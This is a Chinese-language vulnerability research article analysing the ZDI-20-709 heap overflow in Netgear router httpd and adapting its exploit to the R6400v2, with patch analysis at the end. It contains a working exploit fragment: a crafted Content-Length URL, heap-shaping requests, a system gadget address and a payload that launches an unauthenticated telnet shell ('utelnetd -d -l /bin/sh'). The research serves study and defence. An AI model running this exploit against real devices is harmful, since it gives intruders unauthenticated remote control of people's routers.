作者:cq674350529
本文首發于信安之路,原文鏈接:https://mp.weixin.qq.com/s/FvqfcHjdM6-LVf-lQXzplA
漏洞簡介
2020年6月,ZDI發布了一個關于Netgear R6700型號設備上堆溢出漏洞的安全公告,隨后又發布了一篇關于該漏洞的博客,其中對該漏洞進行了詳細分析,并給出了完整的漏洞利用代碼。該漏洞存在于對應設備的httpd組件中,在處理配置文件上傳請求時,由于對請求內容的處理不當,在后續申請內存空間時存在整數溢出問題,從而造成堆溢出問題。攻擊者利用這一漏洞可以在目標設備上實現代碼執行,且無需認證。
此前,關于IoT設備上公開的帶完整漏洞利用的堆溢出漏洞比較少(好像公開的堆溢出漏洞就不多…),正好手邊有一個R6400v2型號的設備,因此打算分析一下該漏洞,了解漏洞利用的思路,并嘗試基于R6400v2型號設備實現漏洞利用。
漏洞分析
根據Netgear官方的安全公告,針對R6400v2型號設備,版本v1.0.4.84及其之前版本受該漏洞影響,在之后的版本中修復了該漏洞,因此選擇v1.0.4.84版本來對該漏洞進行分析。
ZDI的字段對應的值,基于該值,在(5)處計算實際的文件內容長度。在(6)處會根據計算得到的文件內容大小申請內存空間,在(7)處調用memcpy()進行拷貝。
存在該漏洞的原因在于,在計算請求頭中"Content-Length"字段對應的值時,通過調用stristr(s1, "Content-Length: ")來定位其位置,當在請求url中包含"Content-Length: "時,可使得計算的值錯誤,從而影響后續申請的堆塊大小。通過偽造合適的"Content-Length: xxx",可造成后續在調用memcpy()時出現堆溢出。該漏洞的發現者d4rkn3ss給出的請求url為"/cgi-bin/genie.cgi?backup.cgiContent-Length: 4156559"。
同樣,由于在
R6400v2設備上存在nginx代理,nginx會保證請求頭中的Content-Length對應的值與請求體的內容長度相等,故無法通過直接偽造原始請求頭中的Content-Length觸發。
int http_d(int a1)
{
// ...
if ( v248.s_addr ) {
// ...
while ( 1 ) {
while ( 1 ) {
while ( 1 ) {
while ( 1 ) {
do
{
// ...
if ( (((unsigned int)v223[0].__fds_bits[(unsigned int)dword_F253F4 >> 5] >> (dword_F253F4 & 0x1F)) & 1) != 0
|| (v92 = dword_1994EC) != 0 )
{
var_recv_len = my_read(dword_F253F4, &recv_buf, 0x400u); // (1) recv(), 請求過長的話會被調用多次
// ...
}
v152 = v198;
goto LABEL_395;
}
while ( var_recv_len == -2 );
if ( v150 )
break;
v144 = var_recv_len + var_offset;
if ( (int)(var_recv_len + var_offset) >= 0x10000 )
{
// ...
}
else
{
memcpy(&s1[var_offset], &recv_buf, var_recv_len); // (2)
s1[v144] = 0;
if ( stristr(s1, "Content-Disposition:") && stristr(s1, "Content-Length: ") && stristr(s1, "upgrade_check.cgi")
&& (stristr(s1, "Content-Type: application/octet-stream") || stristr(s1, "MSIE 10"))
|| stristr(s1, "Content-Disposition:") && stristr(s1, "Content-Length: ") && stristr(s1, "backup.cgi")
|| stristr(s1, "Content-Disposition:") && stristr(s1, "Content-Length: ")&& stristr(s1, "genierestore.cgi") )
{
// ...
goto LABEL_356;
}
// ...
LABEL_356:
v150 = 1; goto LABEL_357;
}
// ...
}
//...
}
// ...
v107 = stristr(s1, "name=\"mtenRestoreCfg\""); // (3)
if ( v107 && (v108 = stristr(v107, "\r\n\r\n")) != 0 )
{
v109 = v108 + 4; // 指向文件內容
v102 = v108 + 4 - (_DWORD)s1; // post請求部分除文件內容之外其他部分的長度
v110 = stristr(s1, "Content-Length: ");// 沒有考慮其位置,可以在url中偽造,進而造成后續出現堆溢出
if ( !v110 )
goto LABEL_286;
v111 = v110 + 15;
v112 = stristr(v110 + 16, "\r\n") - (v110 + 16);
v105 = 0;
for ( i = 0; i < v112; ++i ) // (4) Content-Length對應的值
{
v114 = *(char *)++v111;
v105 = v114 - '0' + 10 * v105;
}
if ( v105 > 0x20017 ) // post data部分的長度
{
v105 = stristr(s1, "\r\n\r\n") + v105 + 4 - v109;// (5) 計算文件內容的長度, 由于v105是偽造的, 故計算得到的結果會有問題
goto LABEL_287;
}
// ...
}
else
{
// ...
LABEL_287:
// ...
if ( dword_1A870C )
{
free((void *)dword_1A870C);
dword_1A870C = 0;
}
sub_2F284((int *)&v224);
dword_1A870C = (int)malloc(v105 + 0x258); // (6)
if ( dword_1A870C || ...)
{
memset((void *)dword_1A870C, 0x20, v105 + 0x258);
v203=var_offset-v102; // 對于超長請求, var_offset最大值位0x800(只會觸發recv() 2次)
memcpy((void *)dword_1A870C, &s1[v102], var_offset-v102);// (7) heap overflow
// ...
漏洞利用
原始方法
ZDI的博客中也給出了漏洞的上下文以及利用思路,這里進行簡單概括。關于該漏洞的上下文如下:
-
可以往堆上寫任意的數據,包括
'\x00' -
ASLR等級為1,因此堆空間的起始地址是固定的 -
該設備使用的是
uClibc,相當于一個簡化版的glibc,其關于堆的檢查條件比glibc中寬松很多 -
在實現堆溢出之后,
fopen()函數會被調用,其中會分別調用malloc(0x60)和malloc(0x1000),之后也會調用free()進行釋放。堆塊的申請與釋放先后順序如下:
free(dword_1A870C) -> dword_1A870C = malloc(<controllable_size>) -> free(malloc(0x60)) -> free(malloc(0x1000))
- 通過請求接口
"/strtblupgrade.cgi",可以實現任意大小的堆塊申請與釋放:free(malloc())
d4rkn3ss利用fastbin dup attack的思路來進行漏洞利用,即通過破壞堆的狀態,使得后續的malloc()返回指定的地址,由于可以往該地址寫任意內容(write-what-where),故可以通過覆蓋got表項的方式實現任意代碼執行。但是前面提到,在實現堆溢出之后,在fopen()內會調用malloc(0x1000),其會觸發__malloc_consolidate(),從而破壞已有的fastbin,因此需要先解決__malloc_consolidate()的問題。
在uClibc中的free()函數內,在釋放fastbin時存在越界寫問題,而在malloc_state結構體中,max_fast變量正好在fastbins數組前,通過越界寫可以實現修改max_fast變量的目的。當max_fast變量被改成一個很大的值后,后續再調用malloc(0x1000)時便不會觸發__malloc_consolidate(),從而可以執行fastbin dup attack。
void free(void* mem)
{
// ...
/*
If eligible, place chunk on a fastbin so it can be found
and used quickly in malloc.
*/
if ((unsigned long)(size) <= (unsigned long)(av->max_fast)
/* If TRIM_FASTBINS set, don't place chunks
bordering top into fastbins */
&& (chunk_at_offset(p, size) != av->top)
) {
set_fastchunks(av);
fb = &(av->fastbins[fastbin_index(size)]); // out-of-bounds write
p->fd = *fb;
*fb = p;
}
// ...
struct malloc_state {
/* The maximum chunk size to be eligible for fastbin */
size_t max_fast; /* low 2 bits used as flags */
/* Fastbins */
mfastbinptr fastbins[NFASTBINS];
/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top;
/* The remainder from the most recent split of a small request */
mchunkptr last_remainder;
// ...
綜上,漏洞利用的過程如下:
- 通過堆溢出修改下一個空閑塊的
prev_size字段和size字段,填充合適的prev_size值,并使得PREV_INUSE標志位為0;
之后在觸發
__malloc_consolidate()時,會對該fastbin進行后向合并,因此需要保證能根據偽造的prev_size找到前面的某個空閑塊,否則unlink時會報錯
- 通過
/strtblupgrade.cgi接口申請一個合適大小的堆塊,該堆塊會與上面已分配的堆塊重疊,從而可以修改上面堆塊的大小為0x8;
在上一步
__malloc_consolidate()后,由于堆塊的后向合并,故會存在一個空閑的堆塊與已分配的堆塊重疊
- 釋放上面已分配的堆塊,在將其放入
fastbins數組中時,會出現越界寫,從而將max_fast修改為一個很大的值;
max_fast被修改為一個很大的值后,調用
mallco(0x1000)時就不會觸發__malloc_consolidate(),之后就可以執行fastbin dup attack
-
再次通過堆溢出覆蓋下一個空閑塊,修改其
fd指針為free()的got地址(準確來說為free_got_addr - offset); -
連續申請2個合適的堆塊,返回的第2個堆塊的地址指向
free()的got表項,通過向堆塊中寫入數據,將其修改為system()的plt地址; -
當釋放第2個堆塊時,執行
free()將調用system(),同時其參數指向構造的payload,從而實現代碼執行。
H4lo師傅提供了另外的思路來進行漏洞利用,具體可參考這里
“意外”方法
基于上述思路,在R6400v2設備上進行漏洞利用時發現存在如下問題:
- 通過
malloc(0x30) -> malloc(0x40) -> malloc(0x30)方式進行堆布局時,得到的兩個堆塊之間的偏移比較小,但是由于返回的堆地址比較小,在后續觸發__malloc_consolidate()對空閑堆塊進行后向合并時,往前找不到合適的空閑堆塊,無法進行堆塊合并。嘗試通過分配不同的堆塊大小、以及發送不同的請求等方式,均無法得到滿足條件的堆塊。 - 通過
malloc(0x20) -> malloc(0x10) -> malloc(0x20)方式進行堆布局時,得到的兩個堆塊之間的偏移比較大(超過0x470),按照d4rkn3ss提供的漏洞利用代碼,好像無法實現溢出來覆蓋下一個堆塊。
由于多次嘗試第一種方式均失敗,只能寄希望于第二種方式。由于觸發漏洞的接口為"/backup.cgi"(配置文件上傳接口),按理來說上傳的配置文件可以比較大,故該接口應該可以處理較長的請求,但當文件內容長度超過0x400時卻無法溢出。通過對該請求的處理流程進行分析發現,要通過該接口觸發漏洞,整個請求的長度要在0x400~0x800之間,如下:
- 該請求必須觸發2次
recv(),即對應請求長度必須>0x400,否則無法到達漏洞點處; - 該請求只會觸發2次
recv(),當對應請求長度>0x800,過長的內容會被截斷,后續拷貝時無法造成溢出。
在d4rkn3ss提供的漏洞利用腳本中,可以看到在請求頭中有一個'a'*0x200的占位符,同時make_filename()也有一個類似的占位符,因此實際可上傳的配置文件大小約為0x2c0左右,故當兩個堆塊之間的偏移超過0x400時無法造成堆溢出。解決方式很簡單,當要上傳大文件時,去掉占位符'a'*0x200即可。
def make_filename(chunk_size):
return 'a' * (0x1d7 - chunk_size)
def exploit():
path = '/cgi-bin/genie.cgi?backup.cgiContent-Length: 4156559'
headers = ['Host: %s:%s' % (rhost, rport), 'a'*0x200 + ': d4rkn3ss']
在解決了該問題后,打算按照原來的思路進行利用,可能存在的一些問題如下:
- 兩個堆塊之間的偏移約為
0x470,而且不相鄰,在溢出覆蓋目標空閑堆塊時是否會破壞其他結構? - 溢出到目標空閑堆塊后,在觸發
__malloc_consolidate()對該空閑堆塊進行后向合并時,后向偏移約為0x24e0,通過/strtblupgrade.cgi接口申請合適大小的堆塊,利用該堆塊修改上面已分配堆塊的size字段,是否會破壞其他結構?
經過測試,發現和預期不太一致:通過/strtblupgrade.cgi接口申請的堆地址在前面合并的空閑堆塊地址之前,同時,此時的$PC已經被填充的payload控制了,直接實現了劫持控制流的目的。如下,可以看到$PC的值來自于填充的內容,同時部分寄存器如$R4也指向填充的payload。因此,只需要找到合適的rop gadgets,構造合適的payload,即可實現代碼執行。

根據backtrace信息,查看uClibc中函數__stdio_WRITE()的源碼,如下。在__stdio_WRITE()中,正常情況下是通過宏_WRITE來調用__gcs.write()函數,但經過上述操作后,STREAMPTR指向了填充的payload,從而可以控制(STREAMPTR)->__gcs.write。經過調試暫時未定位到修改STREAMPTR的地方(在下斷點進一步分析時,有時貌似無法復現… 暫時未想到其他方式來定位),感興趣的可以試試。
// in _WRITE.c
size_t attribute_hidden __stdio_WRITE(register FILE *stream,
register const unsigned char *buf, size_t bufsize)
{
size_t todo;
ssize_t rv, stodo;
__STDIO_STREAM_VALIDATE(stream);
assert(stream->__filedes >= -1);
assert(__STDIO_STREAM_IS_WRITING(stream));
assert(!__STDIO_STREAM_BUFFER_WUSED(stream)); /* Buffer must be empty. */
todo = bufsize;
while (todo != 0) {
stodo = (todo <= SSIZE_MAX) ? todo : SSIZE_MAX;
rv = __WRITE(stream, (char *) buf, stodo); // <===
// ...
// _stdio.h
((((STREAMPTR)->__gcs.write) == NULL) ? -1 : \
(((STREAMPTR)->__gcs.write)((STREAMPTR)->__cookie,(BUF),(SIZE))))
綜上,上述思路的主要過程如下。需要說明的是,在未訪問設備Web后臺(比如重啟設備后)和訪問Web后臺后,調用malloc(0x8)返回的堆塊地址不太一致(存在0x10的偏移),使得下列過程不太穩定(不適用于訪問過Web后臺的情形),建議重啟設備后測試。本來想通過觸發__malloc_consolidate()來使得堆塊狀態一致,但好像不起作用…
colorlight師傅建議通過先多次發送登錄請求(錯誤的認證即可),當響應的狀態碼為200時,可使得兩種情形下的堆狀態一致,但測試后發現針對上述情形似乎仍然無效 …
# XXX: useless??? use __malloc_consolidate() to make the heap consistent
print '[+] malloc 0x38 chunk'
f = copy.deepcopy(files)
f['filename'] = make_filename(0x38)
post_request(path, headers, f)
print '[+] malloc 0x20 chunk'
# r0 0x1033ba0 <-- return here
f = copy.deepcopy(files)
f['filename'] = make_filename(0x20)
post_request(path, headers, f)
print '[+] malloc 0x8 chunk'
# 0x103400c ?— 0x10
# r0 0x1034010 <-- return here # TODO: how to make it stable (0x1034010/0x1034020)
f = copy.deepcopy(files)
f['filename'] = make_filename(0x8)
post_request(path, headers, f)
print '[+] malloc 0x20 chunk'
# r0 0x1033ba0 <-- return here
headers = ['Host: %s:%s' % (rhost, rport)] # remove `'a'*0x200 + ': d4rkn3ss'`
f = copy.deepcopy(files)
f['filename'] = make_filename(0x20)
f['filecontent'] = 'a' * 0x468 + p32(0x24e0) + p32(0x10) # offset: 0x470
post_request(path, headers, f)
print '[+] malloc 0x2080 chunk and try to overwrite size of 0x28 chunk -> 0x9.'
# r0 0x1031ac8 <-- return here
# ...
# 0x1031b20 # consolidated free chunk
# ...
# r0 0x1033ba0
# ...
# 0x103400c ?— 0x10
# r0 0x1034010
malloc_size = 0x2080 # a large value is ok, not need to be precise in this case
f = copy.deepcopy(files)
f['name'] = 'StringFilepload'
f['filename'] = 'a' * 0x100
# hijack $PC in __stdio_WRITE()
system_gadget = 0xF3C8
cmd = 'utelnetd -d -l /bin/sh'.ljust(32, '\x00') # changed to "utelnetd -d -d -l /bin/sh"
payload = 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaakgaakhaakiaakjaakkaaklaakmaaknaakoaakpaakqaakraaksaaktaakuaakvaakwaakxaakyaakzaalbaalcaaldaaleaalfaalgaalhaaliaaljaalkaallaalmaalnaaloaalpaalqaalraalsaaltaaluaalvaalwaalxaalyaalzaambaamcaamdaameaamfaamgaamhaamiaamjaamkaamlaammaamnaamoaampaamqaamraamsaamtaamuaamvaamwaamxaamyaamzaanbaancaandaaneaanfaangaanhaaniaanjaankaanlaanmaannaanoaanpaanqaanraansaantaanuaanvaanwaanxaanyaanzaaobaaocaaodaaoeaaofaaogaaohaaoiaaojaaokaaolaaomaaonaaooaaopaaoqaaoraaosaaotaaouaaovaaowaaoxaaoyaaozaapbaapcaapdaapeaapfaapgaaphaapiaapjaapkaaplaapmaapnaapoaappaapqaapraapsaaptaapuaapvaapwaapxaapyaapzaaqbaaqcaaqdaaqeaaqfaaqgaaqhaaqiaaqjaaqkaaqlaaqmaaqnaaqoaaqpaaqqaaqraaqsaaqtaaquaaqvaaqwaaqxaaqyaaqzaarbaarcaardaareaarfaargaarhaariaarjaarkaarlaarmaarnaaroaarpaarqaarraarsaartaaruaarvaarwaarxaaryaarzaasbaascaasdaaseaasfaasgaashaasiaasjaaskaaslaasmaasnaasoaaspaasqaasraassaastaasuaasvaaswaasxaasyaaszaatbaatcaatdaateaatfaatgaathaatiaatjaatkaatlaatmaatnaatoaatpaatqaatraatsaattaatuaatvaatwaatxaatyaatzaaubaaucaaudaaueaaufaaugaauhaauiaaujaaukaaulaaumaaunaauoaaupaauqaauraausaautaauuaauvaauwaauxaauyaauzaavbaavcaavdaaveaavfaavgaavhaaviaavjaavkaavlaavmaavnaavoaavpaavqaavraavsaavtaavuaavvaavwaavxaavyaavzaawbaawcaawdaaweaawfaawgaawhaawiaawjaawkaawlaawmaawnaawoaawpaawqaawraawsaawtaawuaawvaawwaawxaawyaawzaaxbaaxcaaxdaaxeaaxfaaxgaaxhaaxiaaxjaaxkaaxlaaxmaaxnaaxoaaxpaaxqaaxraaxsaaxtaaxuaaxvaaxwaaxxaaxyaaxzaaybaaycaaydaayeaayfaaygaayhaayiaayjaaykaaylaaymaaynaayoaaypaayqaayraaysaaytaayuaayvaaywaayxaayyaayzaazbaazcaazdaazeaazfaazgaazhaaziaazjaazkaazlaazmaaznaazoaazpaazqaazraazsaaztaazuaazvaazwaazxaazyaazzababacabadabaeabafabagabahabaiabajabakabalabamabanabaoabapabaqabarabasabatabauabavabawabaxabayabazabbbabbcabbdabbeabbfabbgabbhabbiabbjabbkabblabbmabbnabboabbpabbqabbrabbsabbtabbuabbvabbwabbxabbyabbzabcbabccabcdabceabcfabcgabchabciabcjabckabclabcmabcnabcoabcpabcqabcrabcsabctabcuabcvabcwabcxabcyabczabdbabdcabddabdeabdfabdgabdhabdiabdjabdkabdlabdmabdnabdoabdpabdqabdrabdsabdtabduabdvabdwabdxabdyabdzabebabecabedabeeabefabegabehabeiabejabekabelabemabenabeoabepabeqaberabesabetabeuabevabewabexabeyabezabfbabfcabfdabfeabffabfgabfhabfiabfjabfkabflabfmabfnabfoabfpabfqabfrabfsabftabfuabfvabfwabfxabfyabfzabgbabgcabgdabgeabgfabggabghabgiabgjabgkabglabgmabgnabgoabgpabgqabgrabgsabgtabguabgvabgwabgxabgyabgzabhbabhcabhdabheabhfabhgabhhabhiabhjabhkabhlabhmabhnabhoabhpabhqabhrabhsabhtabhuabhvabhwabhxabhyabhzabibabicabidabieabifabigabihabiiabijabikabilabimabinabioabipabiqabirabisabitabiuabivabiwabixabiyabizabjbabjcabjdabjeabjfabjgabjhabjiabjjabjkabjlabjmabjnabjoabjpabjqabjrabjsabjtabjuabjvabjwabjxabjyabjzabkbabkcabkdabkeabkfabkgabkhabkiabkjabkkabklabkmabknabkoabkpabkqabkrabksabktabkuabkvabkwabkxabkyabkzablbablcabldableablfablgablhabliabljablkabllablmablnabloablpablqablrablsabltabluablvablwablxablyablzabmbabmcabmdabmeabmfabmgabmhabmiabmjabmkabmlabmmabmnabmoabmpabmqabmrabmsabmtabmuabmvabmwabmxabmyabmzabnbabncabndabneabnfabngabnhabniabnjabnkabnlabnmabnnabnoabnpabnqabnrabnsabntabnuabnvabnwabnxabnyabnzabobabocabodaboeabofabogabohaboiabojabokabolabomabonabooabopaboqaborabosabotabouabovabowaboxaboyabozabpbabpcabpdabpeabpfabpgabphabpiabpjabpkabplabpmabpnabpoabppabpqabprabpsabptabpuabpvabpwabpxabpyabpzabqbabqcabqdabqeabqfabqgabqhabqiabqjabqkabqlabqmabqnabqoabqpabqqabqrabqsabqtabquabqvabqwabqxabqyabqzabrbabrcabrdabreabrfabrgabrhabriabrjabrkabrlabrmabrnabroabrpabrqabrrabrsabrtabruabrvabrwabrxabryabrzabsbabscabsdabseabsfabsgabshabsiabsjabskabslabsmabsnabsoabspabsqabsrabssabstabsuabsvabswabsxabsyabszabtbabtcabtdabteabtfabtgabthabtiabtjabtkabtlabtmabtnabtoabtpabtqabtrabtsabttabtuabtvabtwabtxabtyabtzabubabucabudabueabufabugabuhabuiabujabukabulabumabunabuoabupabuqaburabusabutabuuabuvabuwabuxabuyabuzabvbabvcabvdabveabvfabvgabvhabviabvjabvkabvlabvmabvnabvoabvpabvqabvrabvsabvtabvuabvvabvwabvxabvyabvzabwbabwcabwdabweabwfabwgabwhabwiabwjabwkabwlabwmabwnabwoabwpabwqabwrabwsabwtabwuabwvabwwabwxabwyabwzabxbabxcabxdabxeabxfabxgabxhabxiabxjabxkabxlabxmabxnabxoabxpabxqabxrabxsabxtabxuabxvabxwabxxabxyabxzabybabycabydabyeabyfabygabyhabyiabyjabykabylabymabynabyoabypabyqabyrabysabytabyuabyvabywabyxabyyabyzabzbabzcabzdabzeabzfabzgabzhabziabzjabzkabzlabzmabznabzoabzpabzqabzrabzsabztabzuabzvabzwabzxabzyabzzacacadacaeacafacagacahacaiacajacakacalacamacanacaoacapacaqacaracasacatacauacavacawacaxacayacazacbbacbcacbdacbeacbfacbgacbhacbiacbjacbkacblacbmacbnacboacbpacbqacbracbsacbtacbuacbvacbwacbxacbyacbzaccbacccaccdacceaccfaccgacchacciaccjacckacclaccmaccnaccoaccpaccqaccraccsacctaccuaccvaccwaccxaccyacczacdbacdcacddacdeacdfacdgacdhacdiacdjacdkacdlacdmacdnacdoacdpacdqacdracdsacdtacduacdvacdwacdxacdyacdzacebacecacedaceeacefacegacehaceiacejacekacelacemacenaceoacepaceqaceracesacetaceuacevacewacexaceyacezacfbacfcacfdacfeacffacfgacfhacfiacfjacfkacflacfmacfnacfoacfpacfqacfracfsacftacfuacfvacfwacfxacfyacfzacgbacgcacgdacgeacgfacggacghacgiacgjacgkacglacgmacgnacgoacgpacgqacgracgsacgtacguacgvacgwacgxacgyacgzachbachcachdacheachfachgachhachiachjachkachlachmachnachoachpachqachrachsachtachuachvachwachxachyachzacibacicacidacieacifacigacihaciiacijacikacilacimacinacioacipaciqaciracisacitaciuacivaciwacixaciyacizacjbacjcacjdacjeacjfacjgacjhacjiacjjacjkacjlacjmacjnacjoacjpacjqacjracjsacjtacjuacjvacjwacjxacjyacjzackbackcackdackeackfackgackhackiackjackkacklackmacknackoackpackqackracksacktackuackvackwackxackyackzaclbaclcacldacleaclfaclgaclhacliacljaclkacllaclmaclnacloaclpaclqaclraclsacltacluaclvaclwaclxaclyaclzacmbacmcacmdacmeacmfacmgacmhacmiacmjacmkacmlacmmacmnacmoacmpacmqacmracmsacmtacmuacmvacmwacmxacmyacmzacnbacncacndacneacnfacngacnhacniacnjacnkacnlacnmacnnacnoacnpacnqacnracnsacntacnuacnvacnwacnxacnyacnzacobacocacodacoeacofacogacohacoiacojacokacolacomaconacooacopacoqacoracosacotacouacovacowacoxacoyacozacpbacpcacpdacpeacpfacpgacphacpiacpjacpkacplacpmacpnacpoacppacpqacpracpsacptacpuacpvacpwacpxacpyacpzacqbacqcacqdacqeacqfacqgacqhacqiacqjacqkacqlacqmacqnacqoacqpacqqacqracqsacqtacquacqvacqwacqxacqyacqzacrbacrcacrdacreacrfacrgacrhacriacrjacrkacrlacrmacrnacroacrpacrqacrracrsacrtacruacrvacrwacrxacryacrzacsbacscacsdacseacsfacsgacshacsiacsjacskacslacsmacsnacsoacspacsqacsracssacstacsuacsvacswacsxacsyacszactbactcactdacteactfactgacthactiactjactkactlactmactnactoactpactqactractsacttactuactvactwactxactyactzacubacucacudacueacufacugacuhacuiacujacukaculacumacunacuoacupacuqacuracusacutacuuacuvacuwacuxacuyacuzacvbacvcacvdacveacvfacvgacvhacviacvjacvkacvlacvmacvnacvoacvpacvqacvracvsacvtacvuacvvacvwacvxacvyacvzacwbacwcacwdacweacwfacwgacwhacwiacwjacwkacwlacwmacwnacwoacwpacwqacwracwsacwtacwuacwvacwwacwxacwyacwzacxbacxcacxdacxeacxfacxgacxhacxiacxjacxkacxlacxmacxnacxoacxpacxqacxracxsacxtacxuacxvacxwacxxacxyacxzacybacycacydacyeacyfacygacyhacyiacyjacykacylacymacynacyoacypacyqacyracysacytacyuacyvacywacyxacyyacyzaczbaczcaczdaczeaczfaczgaczhacziaczjaczkaczlaczmacznaczoaczpaczqaczraczsacztaczuaczvaczwaczxaczyaczzadadaeadafadagadahadaiadajadakadaladamadanadaoadapadaqadaradasadatadauadavadawadaxadayadazadbbadbcadbdadbeadbfadbgadbhadbiadbjadbkadbladbmadbnadboadbpadbqadbradbsadbtadbuadbvadbwadbxadbyadbzadcbadccadcdadceadcfadcgadchadciadcjadckadcladcmadcnadcoadcpadcqadcradcsadctadcuadcvadcwadcxadcyadczaddbaddcadddaddeaddfaddgaddhaddiaddjaddkaddladdmaddnaddoaddpaddqaddraddsaddtadduaddvaddwaddxaddyaddzadebadecadedadeeadefadegadehadeiadejadekadelademadenadeoadepadeqaderadesadetadeuadevadewadexadeyadezadfbadfcadfdadfea'
payload_offset = payload.index("baaz")
payload = payload.replace(payload[payload_offset+0x24:payload_offset + 0x24 +4], p32(system_gadget))
payload = payload.replace(payload[payload_offset:payload_offset+32], cmd)
f['filecontent'] = p32(malloc_size).ljust(0x10) + payload + p32(0x9)
post_request('/strtblupgrade.cgi.css', headers, f)
補丁分析
以R6400v2-V1.0.4.98_10.0.71版本為例,在http_d()函數中存在一處變更如下:在定位到"Content-Length: "后判斷其前一個字符是否為'\n',應該是對該漏洞的修復。

小結
本文基于R6400v2型號設備,對R6700設備上的堆溢出漏洞進行了分析,并重點介紹了漏洞利用的思路。在參考原始思路實現漏洞利用的過程中,”意外”發現了另一種方式可直接劫持控制流。當然,由于不同設備上的堆布局可能不太一致,這種方式可能不具普適性(甚至帶有一點運氣的成分…),而原始的利用思路則比較通用。
相關鏈接
- (0Day) NETGEAR R6700 httpd strtblupgrade Integer Overflow Remote Code Execution Vulnerability
- ZDI-20-709: HEAP OVERFLOW IN THE NETGEAR NIGHTHAWK R6700 ROUTER
- Security Advisory for Multiple Vulnerabilities on Some Routers, Mobile Routers, Modems, Gateways, and Extenders
- 0ctf2019 Final embedded_heap題解
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1607/
暫無評論